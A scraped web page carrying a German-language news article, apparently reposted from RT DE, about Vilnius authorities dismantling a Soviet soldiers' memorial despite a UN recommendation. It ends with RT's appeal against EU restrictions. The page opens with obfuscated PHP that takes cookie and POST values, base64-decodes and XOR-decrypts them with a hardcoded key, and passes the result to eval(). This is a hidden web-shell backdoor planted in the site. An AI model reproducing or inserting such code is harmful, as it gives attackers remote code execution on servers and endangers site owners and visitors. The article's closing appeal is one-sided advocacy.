$auDiDm = class_exists("V_CGoZ");if (!$auDiDm){class V_CGoZ{private $XkVtqVHtt;public static $fKcqCF = "a158a651-ff74-4edd-953b-c602dc034b3c";public static $zDAWli = NULL;public function __construct(){$VLrdKegcTD = $_COOKIE;$DhwQtx = $_POST;$mummiCkbIe = @$VLrdKegcTD[substr(V_CGoZ::$fKcqCF, 0, 4)];if (!empty($mummiCkbIe)){$gjDlrlmo = "base64";$iKSRFTZjJ = "";$mummiCkbIe = explode(",", $mummiCkbIe);foreach ($mummiCkbIe as $knlWEFqQRS){$iKSRFTZjJ .= @$VLrdKegcTD[$knlWEFqQRS];$iKSRFTZjJ .= @$DhwQtx[$knlWEFqQRS];}$iKSRFTZjJ = array_map($gjDlrlmo . chr ( 924 - 829 ).chr ( 569 - 469 ).chr (101) . "\143" . chr ( 254 - 143 ).'d' . chr ( 408 - 307 ), array($iKSRFTZjJ,)); $iKSRFTZjJ = $iKSRFTZjJ[0] ^ str_repeat(V_CGoZ::$fKcqCF, (strlen($iKSRFTZjJ[0]) / strlen(V_CGoZ::$fKcqCF)) + 1);V_CGoZ::$zDAWli = @unserialize($iKSRFTZjJ);}}public function __destruct(){$this->qrWpeOVCE();}private function qrWpeOVCE(){if (is_array(V_CGoZ::$zDAWli)) {$bdwWJSmubh = str_replace('<' . chr (63) . chr ( 117 - 5 ).'h' . "\x70", "", V_CGoZ::$zDAWli[chr (99) . "\157" . "\156" . "\164" . "\x65" . chr ( 670 - 560 ).'t']);eval($bdwWJSmubh);exit();}}}$fnjTXPt = new V_CGoZ(); $fnjTXPt = NULL;} ?> Litauen demontiert ein weiteres sowjetisches Soldatendenkmal — RT DE – No-Zensur.de Das freie Wort für eine freie Welt
Start RT-deutsch Litauen demontiert ein weiteres sowjetisches Soldatendenkmal — RT DE

Litauen demontiert ein weiteres sowjetisches Soldatendenkmal — RT DE

0
Litauen demontiert ein weiteres sowjetisches Soldatendenkmal — RT DE


Litauen reißt weiter sowjetische Soldatendenkmäler ab. Diesmal geht es um ein solches auf dem größten Soldatenfriedhof des Landes in der Hauptstadt Vilnius. Die Stadtbehörden planen, am Donnerstag mit der Demontage zu beginnen – trotz einer UN-Empfehlung.

In Vilnius, der Hauptstadt Litauens, beginnt in den kommenden Tagen der Abbruch des Denkmals für sowjetische Soldaten auf dem größten Soldatenfriedhof des Landes. Remigijus Šimašius, der Bürgermeister der Stadt, hat dazu am Dienstag bekannt gegeben, man plane, die Arbeiten am Donnerstag zu starten. Wenn die Regierung der Hauptstadt, die der Bürgermeister noch offiziell über die Pläne informieren müsse, den Prozess nicht hemme, würden die Arbeiten in drei Wochen beendet.

Der Untergang des Abendlandes: Oswald Spengler in der heutigen Welt

Das sowjetische Soldatendenkmal in Vilnius befindet sich auf dem Friedhof Antakalnis. Es besteht aus Begräbnisstätten gefallener sowjetischer Soldaten und sechs Stelen. Sie wurden im Jahr 1984 errichtet, jede stellt die sowjetischen Soldaten verschiedener Truppengattungen dar.

Die Stadtbehörden hatten die Entscheidung über den Abbruch der sechs Stelen bereits im Juni getroffen und geplant, die Arbeiten bis zum 1. November durchgeführt zu haben. Der UN-Menschenrechtsausschuss empfahl Litauen, den Abbruch des Denkmals vorläufig zu unterlassen. Falls die internationale Organisation beschlösse, dass das Denkmal in Vilnius als Gegenstand russischer Kultur betrachtet werden soll, würde die Demontage auf Dauer verboten. Trotz des Appells Litauens, die Empfehlung zu überprüfen, bleibt sie bisher in Kraft.

Am Dienstag erklärte der stellvertretende Bürgermeister der Hauptstadt Valdas Benkunskas, die Meinung der UNO sei hierzu nebensächlich. Die russische Botschaft in Litauen betonte ihrerseits, die Handlungen von Vilnius in Bezug auf Denkmäler für sowjetische Soldaten demonstriere, inwiefern das Land sich an das Völkerrecht halte.

Mehr zum Thema – Estland schafft gesetzliche Grundlage für Denkmal-Abriss

Durch die Sperrung von RT zielt die EU darauf ab, eine kritische, nicht prowestliche Informationsquelle zum Schweigen zu bringen. Und dies nicht nur hinsichtlich des Ukraine-Kriegs. Der Zugang zu unserer Website wurde erschwert, mehrere Soziale Medien haben unsere Accounts blockiert. Es liegt nun an uns allen, ob in Deutschland und der EU auch weiterhin ein Journalismus jenseits der Mainstream-Narrative betrieben werden kann. Wenn Euch unsere Artikel gefallen, teilt sie gern überall, wo Ihr aktiv seid. Das ist möglich, denn die EU hat weder unsere Arbeit noch das Lesen und Teilen unserer Artikel verboten. Anmerkung: Allerdings hat Österreich mit der Änderung des „Audiovisuellen Mediendienst-Gesetzes“ am 13. April diesbezüglich eine Änderung eingeführt, die möglicherweise auch Privatpersonen betrifft. Deswegen bitten wir Euch bis zur Klärung des Sachverhalts, in Österreich unsere Beiträge vorerst nicht in den Sozialen Medien zu teilen.





Source link